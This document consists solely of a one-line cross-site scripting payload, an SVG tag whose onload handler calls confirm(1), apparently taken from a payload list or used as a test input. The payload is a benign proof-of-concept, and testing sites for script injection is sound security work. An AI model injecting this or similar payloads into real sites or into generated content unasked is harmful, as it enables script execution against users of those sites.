<svg/onload=confirm(1)>